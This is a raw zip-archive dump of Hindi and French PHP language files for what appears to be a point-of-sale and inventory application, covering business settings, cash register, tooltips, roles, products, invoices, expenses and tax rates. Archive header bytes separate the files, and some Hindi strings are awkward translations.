<?php return [ 'register_and_get_started_in_minutes' => 'रजिस्टर करें और मिनटों में आरंभ करें', 'business_name' => 'व्यवास्यक नाम', 'start_date' => 'आरंभ करने की तिथि', 'currency' => 'मुद्रा', 'currency_placeholder' => 'मुद्रा चुनें', 'upload_logo' => 'लोगो अपलोड करें', 'country' => 'देश', 'state' => 'राज्य', 'city' => 'शहर', 'zip_code' => 'पिन कोड', 'zip_code_placeholder' => 'ज़िप / पोस्टल कोड', 'landmark' => 'सीमा चिन्ह', 'tax_1_name' => 'कर 1 नाम', 'tax_1_no' => 'टैक्स 1 नंबर', 'tax_2_name' => 'कर 2 नाम', 'tax_2_no' => 'कर 2 नहीं', 'tax_1_placeholder' => 'जीएसटी / वैट / अन्य', 'prefix' => 'उपसर्ग', 'prefix_placeholder' => 'श्री श्रीमती कुमारी', 'first_name' => 'पहला नाम', 'last_name' => 'अंतिम नाम', 'username' => 'उपयोगकर्ता नाम', 'email' => 'ईमेल', 'password' => 'पारण शब्द', 'confirm_password' => 'पासवर्ड की पुष्टि कीजिये', 'register' => 'रजिस्टर', 'business' => 'व्यापार', 'address' => 'पता', 'logo_help' => 'पिछला लोगो (यदि मौजूद है) की जगह', 'update_settings' => 'सेटिंग अपडेट करें', 'business_settings' => 'बिजनेस सेटिंग', 'settings_updated_success' => 'सेटिंग सफलतापूर्वक अपडेट की गई', 'default_profit_percent' => 'डिफ़ॉल्ट लाभ प्रतिशत', 'default_sales_tax' => 'डिफ़ॉल्ट बिक्री कर', 'default_sales_discount' => 'डिफ़ॉल्ट बिक्री डिस्काउंट', 'business_details' => 'व्यापार विवरण', 'tax' => 'कर', 'tax_details' => 'कर विवरण', 'owner' => 'मालिक', 'owner_info' => 'मालिक की जानकारी', 'sale' => 'बिक्री', 'sell_price_tax' => 'विक्रय मूल्य', 'product' => 'उत्पाद', 'sku_prefix' => 'एसकेयू उपसर्ग', 'language' => 'भाषा', 'time_zone' => 'समय क्षेत्र', 'months' => [ 1 => 'जनवरी', 2 => 'फरवरी', 3 => 'मार्च', 4 => 'अप्रैल', 5 => 'मई', 6 => 'जून', 7 => 'जुलाई', 8 => 'अगस्त', 9 => 'सितंबर', 10 => 'अक्टूबर', 11 => 'नवंबर', 12 => 'दिसंबर', ], 'fy_start_month' => 'वित्तीय वर्ष प्रारंभ महीना', 'accounting_method' => 'लेखा पद्धति', 'fifo' => 'फीफो (पहले सबसे पहले पहले)', 'lifo' => 'लाइफो (लास्ट इन फर्स्ट आउट)', 'business_locations' => 'व्यापार स्थान', 'business_location' => 'व्यवसाय का स्थान', 'manage_your_business_locations' => 'अपने व्यावसायिक स्थानों को प्रबंधित करें', 'all_your_business_locations' => 'आपके सभी व्यावसायिक स्थानों', 'add_business_location' => 'नया व्यावसायिक स्थान जोड़ें', 'business_location_added_success' => 'व्यावसायिक स्थान सफलतापूर्वक जोड़ा गया', 'edit_business_location' => 'व्यापार स्थान संपादित करें', 'business_location_updated_success' => 'व्यावसायिक स्थान सफलतापूर्वक अपडेट हुआ', 'location' => 'स्थान', 'already_registered' => 'पहले से पंजीकृत?', 'sign_in' => 'साइन इन करें', 'not_yet_registered' => 'अभी तक पंजीकृत नहीं किया गया?', 'register_now' => 'अभी पंजीकरण करें', 'system' => 'सिस्टम', 'show_help_text' => 'सहायता पाठ दिखाएँ', 'mobile' => 'मोबाइल', 'alternate_number' => 'वैकल्पिक संपर्क नंबर', 'email' => 'ईमेल', 'settings' => 'सेटिंग्स', 'transaction_edit_days' => 'लेनदेन दिन संपादित करें', 'dashboard' => 'डैशबोर्ड', 'view_stock_expiry_alert_for' => 'देखें स्टॉक की समाप्ति की चेतावनी', 'days' => 'दिन', 'system_settings' => 'प्रणाली व्यवस्था', 'add_keyboard_shortcuts' => 'कीबोर्ड शॉर्टकट जोड़ें', 'operations' => 'ऑपरेशन', 'keyboard_shortcut' => 'कुंजीपटल संक्षिप्त रीति', 'business_created_succesfully' => 'व्यापार सफलतापूर्वक बनाया !!', 'tax_number1' => 'टैक्स नंबर 1', 'tax_number2' => 'टैक्स नंबर 2', 'is_active' => 'सक्रिय', 'created_by' => 'के द्वारा बनाई गई', ]; PK G �Zd��E, , hi/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'नकदी - रजिस्टर', 'manage_your_cash_register' => 'कैश रजिस्टर का प्रबंधन करें', 'all_your_cash_register' => 'सभी कैश रजिस्टर', 'cash_in_hand' => 'हाथ में पैसे', 'open_cash_register' => 'ओपन कैश रजिस्टर', 'enter_amount' => 'राशी डालें', 'open_register' => 'ओपन रजिस्टर', 'register_details' => 'रजिस्टर विवरण', 'cash_payment' => 'नकद भुगतान', 'checque_payment' => 'चैक भुगतान', 'card_payment' => 'कार्ड भुगतान', 'bank_transfer' => 'बैंक ट्रांसफर', 'other_payments' => 'अन्य भुगतान', 'total_sales' => 'कुल बिक्री', 'total_cash' => 'कुल नकद', 'current_register' => 'चालू रजिस्टर', 'close_register' => 'रजिस्टर बंद करें', 'total_card_slips' => 'कुल कार्ड स्लिप्स', 'total_cheques' => 'कुल जांच', 'closing_note' => 'समापन नोट', 'close_success' => 'रजिस्टर सफलतापूर्वक बंद हुआ', 'open' => 'खुला', 'close' => 'बंद करे', 'total_refund' => 'कुल धनवापसी', 'refunds' => 'धनवापसी', ]; PK G �Z��~�k9 k9 hi/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "कम स्टॉक वाले उत्पाद। <br/> <small class='text-muted'> उत्पाद चेतावनी मात्रा के आधार पर जोड़ें उत्पाद स्क्रीन में सेट करें। # स्टॉक समाप्त होने से पहले इन उत्पादों की खरीद करें। </small>", 'payment_dues' => "खरीदारियों के लिए लंबित भुगतान। <br/> <small class = 'text-muted'> आपूर्तिकर्ता के भुगतान अवधि के आधार पर। <br/> भुगतान 7 दिनों या उससे कम में भुगतान किया जा रहा है। </small>", 'input_tax' => 'चयनित समय अवधि के भीतर बिक्री के लिए एकत्रित कुल कर।', 'output_tax' => 'चयनित समय अवधि के लिए कुल टैक्स का भुगतान किया जाता है।', 'tax_overall' => 'चुने हुए समय अवधि में भुगतान किए गए कुल कर और कुल कर के अंतर', 'purchase_due' => 'खरीद के लिए कुल भुगतान न की गई राशि।', 'sell_due' => 'बिक्री से प्राप्त होने वाली कुल राशि', 'over_all_sell_purchase' => '-वे मान = भुगतान करने की राशि + ve मूल्य = प्राप्त करने के लिए राशि', 'no_of_products_for_trending_products' => 'नीचे दिए गए चार्ट में तुलना करने के लिए शीर्ष ट्रेंडिंग उत्पादों की संख्या।', 'top_trending_products' => "आपकी दुकान के शीर्ष बिक्री वाले उत्पादों। <br/> <small class = 'text-muted'> विशिष्ट श्रेणी, ब्रांड, व्यापार स्थान आदि के लिए ट्रेंडिंग उत्पादों को जानने के लिए फ़िल्टर लागू करें। </small>", 'sku' => "अद्वितीय उत्पाद आईडी या स्टॉक कोटिंग यूनिट <br> <br> स्वचालित रूप से SKU उत्पन्न करने के लिए इसे खाली रखें। <br> <small class = 'text-muted'> आप बिजनेस सेटिंग में स्कू उपसर्ग संशोधित कर सकते हैं । </small> ", 'enable_stock' => 'किसी उत्पाद के लिए स्टॉक प्रबंधन को सक्षम या अक्षम करें', 'alert_quantity' => "उत्पाद स्टॉक आने पर सावधान रहें या निर्दिष्ट मात्रा के नीचे चला जाता है। <br> <br> <small class = 'text-muted'> कम स्टॉक वाला उत्पाद डैशबोर्ड में प्रदर्शित किया जाएगा - उत्पाद स्टॉक चेतावनी अनुभाग। </small>", 'product_type' => '<b> सिंगल उत्पाद </b>: कोई विविधता वाले उत्पाद। <br> <b> परिवर्तनीय उत्पाद </b>: विविधताएं जैसे कि आकार, रंग आदि के साथ उत्पाद।', 'profit_percent' => "उत्पाद के लिए डिफ़ॉल्ट लाभ मार्जिन। <br> <small class = 'text-muted'> (<i> आप व्यवसाय सेटिंग में डिफ़ॉल्ट लाभ मार्जिन का प्रबंधन कर सकते हैं। </i>) </small>", 'pay_term' => "दिए गए समय अवधि के भीतर खरीदारियों के भुगतान के लिए भुगतान किया जाता है। <br/> <small class = 'text-muted'> सभी आगामी या देय भुगतान डैशबोर्ड में प्रदर्शित होंगे - भुगतानशुदा अनुभाग </small>", 'order_status' => 'इस खरीद में उत्पाद केवल बिक्री के लिए उपलब्ध होंगे यदि <b> आदेश स्थिति </b> है <b> आइटम प्राप्त हुए </b>।', 'purchase_location' => 'वह व्यापार स्थान जहां खरीदी गई उत्पाद बिक्री के लिए उपलब्ध होगी।', 'sale_location' => 'जहां से आप बेचना चाहते हैं, उसका व्यावसायिक स्थान', 'sale_discount' => "व्यावसायिक सेटिंग में सभी बिक्री के लिए 'डिफ़ॉल्ट बिक्री डिस्काउंट' सेट करें। छूट / जोड़ने के लिए नीचे दिए गए संपादन आइकन पर क्लिक करें।", 'sale_tax' => "व्यापार सेटिंग में सभी बिक्री के लिए 'डिफ़ॉल्ट बिक्री कर' सेट करें। ऑर्डर कर जोड़ने / अपडेट करने के लिए नीचे दिए गए संपादन आइकन पर क्लिक करें।", 'default_profit_percent' => "किसी उत्पाद का डिफ़ॉल्ट लाभ मार्जिन। <br> <small class = 'text-muted'> खरीदी की कीमत के आधार पर बिक्री मूल्य की गणना करने के लिए प्रयुक्त। <br/> जोड़ते समय आप अविभाज्य उत्पादों के लिए इस मान को संशोधित कर सकते हैं </small> ", 'fy_start_month' => 'आपके व्यवसाय के लिए वित्तीय वर्ष का आरंभ महीना', 'business_tax' => 'आपके व्यवसाय के लिए पंजीकृत कर संख्या।', 'invoice_scheme' => "इनवॉइस स्कीम का अर्थ है इनवॉइस क्रमांकन प्रारूप। इस व्यावसायिक स्थान के लिए उपयोग की जाने वाली योजना का चयन करें। <Small class = 'text-muted'> <i> आप चालान सेटिंग में </b> नई चालान योजना जोड़ सकते हैं </ i > </small> ", 'invoice_layout' => "इस व्यावसायिक स्थान के लिए उपयोग करने के लिए इनवॉइस लेआउट <br> <small class = 'text-muted'> (<i> आप <b> इनवॉइस सेटिंग </b> में <b> इनवॉइस सेटिंग्स <b> < / i>) </small> ", 'invoice_scheme_name' => 'इनवॉइस स्कीम का एक संक्षिप्त अर्थपूर्ण नाम दें।', 'invoice_scheme_prefix' => 'एक इनवॉइस स्कीम के लिए उपसर्ग। <br> कोई उपसर्ग एक कस्टम टेक्स्ट या चालू वर्ष हो सकता है। Ex: # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "इनवॉइस क्रमांकन के लिए नंबर प्रारंभ करें। <br> <small class = 'text-muted'> आप इसे 1 या कोई अन्य नंबर बना सकते हैं, जिससे नंबरिंग शुरू हो जाएगी। </small>", 'invoice_scheme_count' => 'इनवॉइस स्कीम के लिए तैयार चालान की कुल संख्या', 'invoice_scheme_total_digits' => 'इनवॉइस उपसर्ग को छोड़कर चालान संख्या की लंबाई', 'tax_groups' => 'समूह कर दरें - उपरोक्त परिभाषित, खरीद / बिक्री विभागों में संयोजन में इस्तेमाल की जाए।', 'unit_allow_decimal' => 'दशमांश आपको संबंधित उत्पादों को अंशों में बेचने की अनुमति देता है।', 'print_label' => 'उत्पादों को जोड़ें -> लेबल में दिखाने के लिए सूचनाएं चुनें - बारकोड सेटिंग -> पूर्वावलोकन लेबल चुनें -> प्रिंट करें', 'expense_for' => 'जिस उपयोगकर्ता के लिए व्यय संबंधित है उसे चुनें। <I> (वैकल्पिक) </i> <br/> <small> उदाहरण: किसी कर्मचारी का वेतन। </small>', 'all_location_permission' => 'यदि <b> सभी स्थान </b> चयनित हैं, तो इस भूमिका को सभी व्यावसायिक स्थानों तक पहुंचने की अनुमति होगी', 'dashboard_permission' => 'यदि अनचेक किए गए केवल स्वागत संदेश होम में दिखाया जाएगा।', 'access_locations_permission' => 'यह भूमिका एक्सेस कर सकने वाले सभी स्थान चुनें। चयनित स्थान के लिए सभी डेटा केवल उपयोगकर्ता को प्रदर्शित होंगे। <br/> <br/> <small> उदाहरण के लिए: आप इसे <i> स्टोर प्रबंधक / कैशियर परिभाषित करने के लिए उपयोग कर सकते हैं / स्टॉक प्रबंधक / शाखा प्रबंधक, </i> विशेष स्थान का। </small> ', 'print_receipt_on_invoice' => 'अंतिम रूप देने पर इनवॉइस के ऑटो-प्रिंटिंग को सक्षम या अक्षम करें', 'receipt_printer_type' => '<i> ब्राउज़र आधारित मुद्रण </i>: चालान के पूर्वावलोकन के साथ ब्राउज़र में प्रिंट संवाद बॉक्स दिखाएं <br/> <br/> <i> कॉन्फ़िगर्ड रसीद प्रिंटर का उपयोग करें </i>: कॉन्फ़िगर रसीद / थर्मल प्रिंटर का चयन करें मुद्रण', 'adjustment_type' => '<i> सामान्य </i>: रिसाव, क्षति आदि जैसे सामान्य कारणों के लिए समायोजन। <br/> <br/> <i> असामान्य </i>: आग, दुर्घटना आदि जैसे कारणों के लिए समायोजन।', 'total_amount_recovered' => 'बीमा से बरामद राशि या स्क्रैप या दूसरों की बिक्री', 'express_checkout' => 'पूर्ण नकद भुगतान और चेकआउट को चिह्नित करें', 'total_card_slips' => 'इस रजिस्टर में उपयोग किए गए कार्ड भुगतानों की कुल संख्या', 'total_cheques' => 'इस रजिस्टर में उपयोग की जाने वाली कुल संख्या', 'capability_profile' => "कमांड और कोड पन्नों के लिए समर्थन प्रिंटर विक्रेताओं और मॉडलों के बीच बदलता रहता है। यदि आप निश्चित नहीं हैं, तो 'सरल' क्षमता प्रोफ़ाइल का उपयोग करना एक अच्छा विचार है", 'purchase_different_currency' => 'यदि आप अपने व्यापार की मुद्रा की तुलना में किसी भिन्न मुद्रा में खरीदते हैं तो यह विकल्प चुनें', 'currency_exchange_factor' => "1 खरीद मुद्रा =? आधार मुद्रा<br> <small class='text-muted'> आप व्यवसाय सेटिंग से 'अन्य मुद्रा में खरीद' को सक्षम / अक्षम कर सकते हैं। </small>", 'accounting_method' => 'लेखा पद्धति', 'transaction_edit_days' => 'लेन-देन की तारीख से दिनों की तारीख तक जब तक कोई लेनदेन संपादित किया जा सकता है।', 'stock_expiry_alert' => ":days दिनों में समाप्त हो रहे स्टॉकस की सूची <br> <small class='text-muted'> आप व्यावसायिक सेटिंग्स में नंबरों को सेट कर सकते हैं </small>", ]; PK G �ZY{u�g g hi/role.phpnu �[��� <?php return [ 'add_role' => 'भूमिका जोड़ें', 'edit_role' => 'भूमिका संपादित करें', 'user' => 'उपयोगकर्ता', 'supplier' => 'प्रदायक', 'customer' => 'ग्राहक', 'purchase' => 'क्रय और स्टॉक समायोजन', 'report' => 'रिपोर्ट', 'user.view' => 'उपयोगकर्ता देखें', 'user.create' => 'उपयोगकर्ता जोड़ें', 'user.update' => 'यूजर को संपादित करो', 'user.delete' => 'उपभोक्ता मिटायें', 'supplier.view' => 'आपूर्तिकर्ता देखें', 'supplier.create' => 'आपूर्तिकर्ता जोड़ें', 'supplier.update' => 'आपूर्तिकर्ता संपादित करें', 'supplier.delete' => 'आपूर्तिकर्ता हटाएं', 'customer.view' => 'ग्राहक देखें', 'customer.create' => 'ग्राहक जोड़ें', 'customer.update' => 'ग्राहक संपादित करें', 'customer.delete' => 'ग्राहक हटाएं', 'product.view' => 'उत्पाद देखें', 'product.create' => 'उत्पाद जोड़ें', 'product.update' => 'उत्पाद संपादित करें', 'product.delete' => 'उत्पाद हटाएं', 'purchase.view' => 'खरीद और स्टॉक समायोजन देखें', 'purchase.create' => 'खरीद और स्टॉक समायोजन जोड़ें', 'purchase.update' => 'खरीद और स्टॉक समायोजन संपादित करें', 'purchase.delete' => 'खरीद और स्टॉक समायोजन हटाएं', 'sell.view' => 'POS बेचना देखें', 'sell.create' => 'POS बेचना जोड़ें', 'sell.update' => 'POS बेचना संपादित करें', 'sell.delete' => 'POS बेचना हटाएं', 'purchase_n_sell_report.view' => 'खरीद और बिक्री रिपोर्ट देखें', 'contacts_report.view' => 'देखें सप्लायर और ग्राहक रिपोर्ट', 'stock_report.view' => 'देखें शेयर रिपोर्ट, स्टॉक समायोजन रिपोर्ट और स्टॉक समाप्ति रिपोर्ट', 'tax_report.view' => 'टैक्स रिपोर्ट देखें', 'trending_product_report.view' => 'ट्रेंडिंग उत्पाद रिपोर्ट देखें', 'register_report.view' => 'रजिस्टर रिपोर्ट देखें', 'sales_representative.view' => 'बिक्री प्रतिनिधि रिपोर्ट देखें', 'expense_report.view' => 'व्यय रिपोर्ट देखें', 'business_settings.access' => 'व्यावसायिक सेटिंग एक्सेस करें', 'barcode_settings.access' => 'एक्सेस बारकोड सेटिंग', 'invoice_settings.access' => 'इनवॉइस सेटिंग एक्सेस करें', 'brand.view' => 'देखें ब्रांड', 'brand.create' => 'ब्रांड जोड़ें', 'brand.update' => 'ब्रांड संपादित करें', 'brand.delete' => 'ब्रांड हटाएं', 'tax_rate.view' => 'कर दर देखें', 'tax_rate.create' => 'कर दर जोड़ें', 'tax_rate.update' => 'कर दर संपादित करें', 'tax_rate.delete' => 'कर दर हटाएं', 'unit.view' => 'यूनिट देखें', 'unit.create' => 'इकाई जोड़ें', 'unit.update' => 'यूनिट संपादित करें', 'unit.delete' => 'यूनिट हटाएं', 'category.view' => 'श्रेणी देखें', 'category.create' => 'कैटेगरी जोड़े', 'category.update' => 'श्रेणी संपादित करें', 'category.delete' => 'श्रेणी हटाएं', 'select_all' => 'सभी का चयन करे', 'settings' => 'सेटिंग्स', 'brand' => 'ब्रांड', 'tax_rate' => 'कर दर', 'unit' => 'इकाई', 'access_locations' => 'पहुंच स्थान', 'all_locations' => 'समस्त स्थान', 'dashboard' => 'होम', 'dashboard.data' => 'होम डेटा देखें', 'profit_loss_report.view' => 'लाभ / नुकसान रिपोर्ट देखें', 'direct_sell.access' => 'एक्सेस बेच', ]; PK G �Z�k�� � hi/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'कर छोड़कर', 'inc_of_tax' => 'कर सहित', 'profit_percent' => 'एक्स मार्जिन (%)', 'add_new_product' => 'नया उत्पाद जोड़ें', 'add_product_for_labels' => 'लेबल उत्पन्न करने के लिए उत्पादों को जोड़ें', 'product_type' => 'उत्पाद प्रकार', 'category' => 'वर्ग', 'sub_category' => 'उप श्रेणी', 'unit' => 'इकाई', 'brand' => 'ब्रांड', 'tax' => 'कर', 'sku' => 'SKU', 'alert_quantity' => 'चेतावनी मात्रा', 'product_name' => 'उत्पाद का नाम', 'auto_generate' => 'ऑटो जेनरेट करें', 'manage_stock' => 'स्टॉक प्रबंधित करें?', 'enable_stock_help' => 'उत्पाद स्तर पर स्टॉक प्रबंधन सक्षम करें', 'barcode_type' => 'बारकोड प्रकार', 'applicable_tax' => 'लागू कर', 'selling_price_tax_type' => 'सेलिंग प्राइस टैक्स टाइप', 'inclusive' => 'समावेशी', 'exclusive' => 'विशेष', 'edit_product' => 'उत्पाद संपादित करें', 'default_purchase_price' => 'डिफ़ॉल्ट खरीद मूल्य', 'default_selling_price' => 'डिफ़ॉल्ट बिक्री मूल्य', 'value' => 'मान', 'variation_name' => 'विविधता नाम', 'variation_values' => 'विविधता मान', 'use_template' => 'टेम्पलेट का इस्तेमाल करें', 'add_variation' => 'विविधता जोड़ें', 'product_added_success' => 'उत्पाद सफलतापूर्वक जोड़ा गया', 'product_updated_success' => 'उत्पाद सफलतापूर्वक अपडेट किया गया', 'enable_product_expiry' => 'उत्पाद समाप्ति सक्षम करें', 'expiry_period' => 'समाप्ति अवधि', 'expires_in' => 'में समाप्त होने वाला है', 'not_applicable' => 'लागू नहीं', 'months' => 'महीने', 'days' => 'दिन', 'mfg_date' => 'निर्माण की तारीख', 'exp_date' => 'समाप्ति तिथि', 'view_product' => 'उत्पाद देखें', 'add_product' => 'उत्पाद जोड़ें', 'variations' => 'बदलाव', 'import_products' => 'आयात उत्पाद', 'file_to_import' => 'आयात करने के लिए फ़ाइल', 'file_imported_successfully' => 'फ़ाइल सफलतापूर्वक आयातित हुई', 'variation_sku_format' => 'वेरिएशन एसकेयू स्वरूप', 'variation_sku_format_help_text' => 'वेरिएशन एसकेयू स्वरूप - जब वेरिएशन एसकेयू खाली होता है तो यह स्वरूप वेरिएशन के लिए एसकेयू उत्पन्न करने के लिए प्रयोग किया जाएगा।', 'sku_number' => 'एसकेयू-संख्या (उदाहरण -> ABC-1, ABC-2)', 'sku_variation_number' => 'एसकेयूवेरिएशन (उदाहरण -> ABCS, ABCM)' ]; PK G �Z]�:� � hi/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'चालान सेटिंग', 'manage_your_invoices' => 'अपनी चालान सेटिंग प्रबंधित करें', 'all_your_invoice_schemes' => 'आपकी सभी चालान योजनाएं', 'added_success' => 'चालान सेटिंग सफलतापूर्वक जोड़ा', 'updated_success' => 'इनवॉइस सेटिंग सफलतापूर्वक अपडेट की गई', 'deleted_success' => 'इनवॉइस सेटिंग सफलतापूर्वक हटाई गई', 'add_invoice' => 'नई चालान योजना जोड़ें', 'edit_invoice' => 'चालान योजना संपादित करें', 'name' => 'नाम', 'prefix' => 'उपसर्ग', 'start_number' => 'शुरू से', 'total_digits' => 'आंकड़ों की संख्या', 'preview' => 'पूर्वावलोकन', 'not_selected' => 'नहीं चुने गए', 'invoice_count' => 'चालान संख्या', 'invoice_schemes' => 'चालान योजनाएं', 'invoice_layouts' => 'चालान लेआउट', 'invoice_layout' => 'इनवॉइस लेआउट', 'all_your_invoice_layouts' => 'आपके सभी चालान लेआउट', 'add_invoice_layout' => 'नया चालान लेआउट जोड़ें', 'layout_name' => 'लेआउट नाम', 'invoice_scheme' => 'चालान योजना', 'header_text' => 'शीर्ष लेख पाठ', 'invoice_no_prefix' => 'चालान संख्या लेबल', 'invoice_heading' => 'इनवॉइस हेडिंग', 'sub_total_label' => 'सबटाल लेबल', 'discount_label' => 'छूट लेबल', 'tax_label' => 'कर लेबल', 'total_label' => 'कुल लेबल', 'fields_to_be_shown_in_address' => 'स्थान के पते में दिखाए जाने वाले फ़ील्ड', 'highlight_color' => 'हाइलाइट रंग', 'footer_text' => 'फूटर टेक्स्ट', 'layout_added_success' => 'इनवॉइस लेआउट सफलतापूर्वक जोड़ा गया', 'edit_invoice_layout' => 'इनवॉइस लेआउट संपादित करें', 'layout_updated_success' => 'इनवॉइस लेआउट सफलतापूर्वक अपडेट किया गया', 'used_in_locations' => 'स्थानों में प्रयुक्त', 'show_business_name' => 'व्यावसायिक नाम दिखाएं', 'show_location_name' => 'स्थान का नाम दिखाएं', 'show_mobile_number' => 'मोबाइल नंबर', 'show_alternate_number' => 'वैकल्पिक नंबर', 'show_email' => 'ईमेल', 'show_tax_1' => 'कर 1 विवरण', 'show_tax_2' => 'कर 2 विवरण', 'fields_to_shown_for_communication' => 'संचार विवरण के लिए क्षेत्र', 'fields_to_shown_for_tax' => 'टैक्स विवरण के लिए फ़ील्ड', 'invoice_logo' => 'इनवॉइस लोगो', 'show_logo' => 'चालान लोगो दिखाएँ', 'show_barcode' => 'बारकोड दिखाओ', 'total_due_label' => 'कुल देय लेबल', 'invoice_heading_not_paid' => 'भुगतान नहीं करने के लिए शीर्षक प्रत्यय', 'invoice_heading_paid' => 'पेड के लिए शीर्षक प्रत्यय', 'show_payments' => 'भुगतान जानकारी दिखाएं', 'show_customer' => 'ग्राहक जानकारी दिखाएं', 'paid_label' => 'भुगतान की गयी राशि', 'customer_label' => 'ग्राहक लेबल', ]; PK G �Z���4� � fr/expense.phpnu �[��� <?php return [ 'expenses' => 'Dépenses', 'expense_categories' => 'Catégories de dépenses', 'manage_your_expense_categories' => 'Gérez vos catégories de dépenses', 'all_your_expense_categories' => 'Toutes vos catégories de dépenses', 'expense_category' => 'Catégorie de dépenses', 'category_name' => 'Nom de catégorie', 'category_code' => 'Code de catégorie', 'added_success' => 'Catégorie de dépenses ajoutée avec succès', 'updated_success' => 'Catégorie de dépenses mise à jour avec succès', 'deleted_success' => 'Catégorie de dépenses supprimée avec succès', 'add_expense_category' => 'Ajouter une catégorie de dépenses', 'edit_expense_category' => 'Modifier la catégorie de dépenses', 'all_expenses' => 'Toutes les dépenses', 'expense_status' => 'Statut de dépense', 'add_expense' => 'Ajouter des dépenses', 'edit_expense' => 'Modifier les dépenses', 'expense_note' => 'Note de frais', 'expense_add_success' => 'Dépenses ajoutées avec succès', 'expense_update_success' => 'Dépenses mises à jour avec succès', 'expense_delete_success' => 'Dépenses effacées avec succès', 'expense_for' => 'Dépense pour', ]; PK G �Z �`�� � fr/messages.phpnu �[��� <?php return [ 'add' => 'Ajouter', 'edit' => 'Modifier', 'save' => 'Sauvegarder', 'update' => 'Mettre à jour', 'action' => 'Action', 'actions' => 'Actions', 'view' => 'Voir', 'delete' => 'Effacer', 'close' => 'Fermer', 'something_went_wrong' => "Quelque chose c'est mal passé. Merci d'essayer plus tard", 'required' => 'Ce champ est requis', 'please_select' => 'Veuillez sélectionner', 'cancel' => 'Annuler', 'date' => 'Date', 'filter_by_date' => 'Filtrer par date', 'location' => 'Emplacement', 'go_back' => 'Retourner', 'due_tooltip' => '-ve valeur = Montant à payer <br> + ve valeur = Montant à recevoir', 'purchase_due_tooltip' => '-ve valeur = Montant à recevoir <br> + valeur ve = Montant à payer', 'yes' => 'Oui', 'no' => 'Non', 'all' => 'Tout', 'settings' => 'Paramètres', 'business_location_settings' => "Paramètres de localisation d'entreprise", 'print' => 'Impression', 'submit' => 'Soumettre', 'purchase_sell_mismatch_exception' => 'ERREUR: NON AUTORISÉ: Incompatibilité entre la quantité vendue et la quantité achetée Produit: :product', 'purchase_stock_adjustment_mismatch_exception' => "ERREUR: NON ADMIS: Non-concordance entre l'ajustement du stock et la quantité achetée Produit: :product", 'transaction_edit_not_allowed' => "L'édition de la transaction n'est pas autorisée après :days days.", ]; PK G �Z�2��v v fr/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'Ajustement des stocks', 'stock_adjustments' => 'Ajustements des stocks', 'list' => 'Liste des ajustements de stock', 'add' => 'Ajouter un ajustement de stock', 'all_stock_adjustments' => 'Tous les ajustements de stock', 'search_product' => 'Rechercher des produits', 'adjustment_type' => "Type d'ajustement", 'normal' => 'Ordinaire', 'abnormal' => 'Anormal', 'total_amount' => 'Montant total', 'total_amount_recovered' => 'Montant total récupéré', 'reason_for_stock_adjustment' => 'Raison', 'stock_adjustment_added_successfully' => 'Ajustement de stock ajouté avec succès', 'search_products' => 'Recherche des produits', 'delete_success' => 'Ajustement de stock supprimé avec succès', 'view_details' => "Afficher les détails de l'ajustement des stocks", ]; PK G �Z �|/ / fr/home.phpnu �[��� <?php return [ 'home' => 'Accueil', 'welcome_message' => 'Bienvenue :name,', 'total_sell' => 'Total des ventes', 'total_purchase' => 'Total des achats', 'invoice_due' => 'Factures impayées', 'purchase_due' => 'Achats impayés', 'today' => "Aujourd'hui", 'this_week' => 'Cette semaine', 'this_month' => 'Ce mois-ci', 'this_fy' => 'Cet exercice financier', 'sells_last_30_days' => 'Ventes des 30 derniers jours', 'sells_current_fy' => 'Année commerciale en cours', 'total_sells' => 'Total des ventes (:currency)', 'product_stock_alert' => 'Alerte de stock', 'payment_dues' => 'Dettes', 'due_amount' => 'Montant dû', 'stock_expiry_alert' => "Alerte d'expiration de stock", 'todays_profit' => "Le profit d'aujourd'hui", ]; PK G �Z�P�@� � fr/receipt.phpnu �[��� <?php return [ 'product' => 'Produit', 'qty' => 'Quantité', 'unit_price' => 'Prix unitaire', 'subtotal' => 'Total', 'discount' => 'Remise', 'tax' => 'Impôt', 'total' => 'Total', 'invoice_number' => 'Facture no.', 'date' => 'Date', 'receipt_settings' => 'Paramètres de reçu', 'receipt_settings_mgs' => 'Tous les paramètres liés au reçu pour cet emplacement', 'print_receipt_on_invoice' => 'Impression automatique de la facture après la finalisation', 'receipt_printer_type' => "Type d'imprimante de reçu", 'receipt_settings_updated' => 'Paramètre de reçu mis à jour avec succès', ]; PK G �Z���{� � fr/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => "Les taux d'imposition", 'manage_your_tax_rates' => "Gérez vos taux d'imposition", 'all_your_tax_rates' => "Tous vos taux d'imposition", 'name' => 'Nom', 'rate' => "Taux d'imposition %", 'added_success' => "Taux d'imposition ajouté avec succès", 'updated_success' => "Taux d'imposition mis à jour avec succès", 'deleted_success' => "Taux d'imposition supprimé avec succès", 'add_tax_rate' => 'Ajouter un taux de taxe', 'edit_taxt_rate' => 'Modifier le taux de taxe', 'add_tax_group' => 'Ajouter groupe fiscal', 'tax_group_added_success' => 'Groupe fiscal ajouté avec succès', 'tax_group_updated_success' => 'Groupe fiscal mis à jour avec succès', 'tax_groups' => 'Groupes fiscaux', 'edit_tax_group' => 'Modifier groupe fiscal', 'sub_taxes' => 'Sous-taxes', 'can_not_be_deleted' => "Ce taux d'imposition appartient à certains groupes fiscaux", ]; PK G �Z2�K0� � fr/category.phpnu �[��� <?php return [ 'categories' => 'Catégories', 'manage_your_categories' => 'Gérer vos catégories', 'all_your_categories' => 'Toutes vos catégories', 'category' => 'Catégorie', 'category_name' => 'Nom de catégorie', 'code' => 'Code de catégorie', 'add_as_sub_category' => 'Ajouter en sous-catégorie', 'select_parent_category' => 'Sélectionnez la catégorie parente', 'added_success' => 'Catégorie ajoutée avec succès', 'updated_success' => 'Catégorie mise à jour avec succès', 'deleted_success' => 'Catégorie supprimée avec succès', 'add_category' => 'Ajouter une catégorie', 'edit_category' => 'Modifier la catégorie', ]; PK G �Z�E� fr/brand.phpnu �[��� <?php return [ 'brands' => 'Marques', 'manage_your_brands' => 'Gérez vos marques', 'all_your_brands' => 'Toutes vos marques', 'note' => 'Remarque', 'brand_name' => 'Marque', 'short_description' => 'Brève description', 'added_success' => 'Marque ajoutée avec succès', 'updated_success' => 'Marque mise à jour avec succès', 'deleted_success' => 'Marque supprimée avec succès', 'add_brand' => 'Ajouter une marque', 'edit_brand' => 'Modifier la marque', ]; PK G 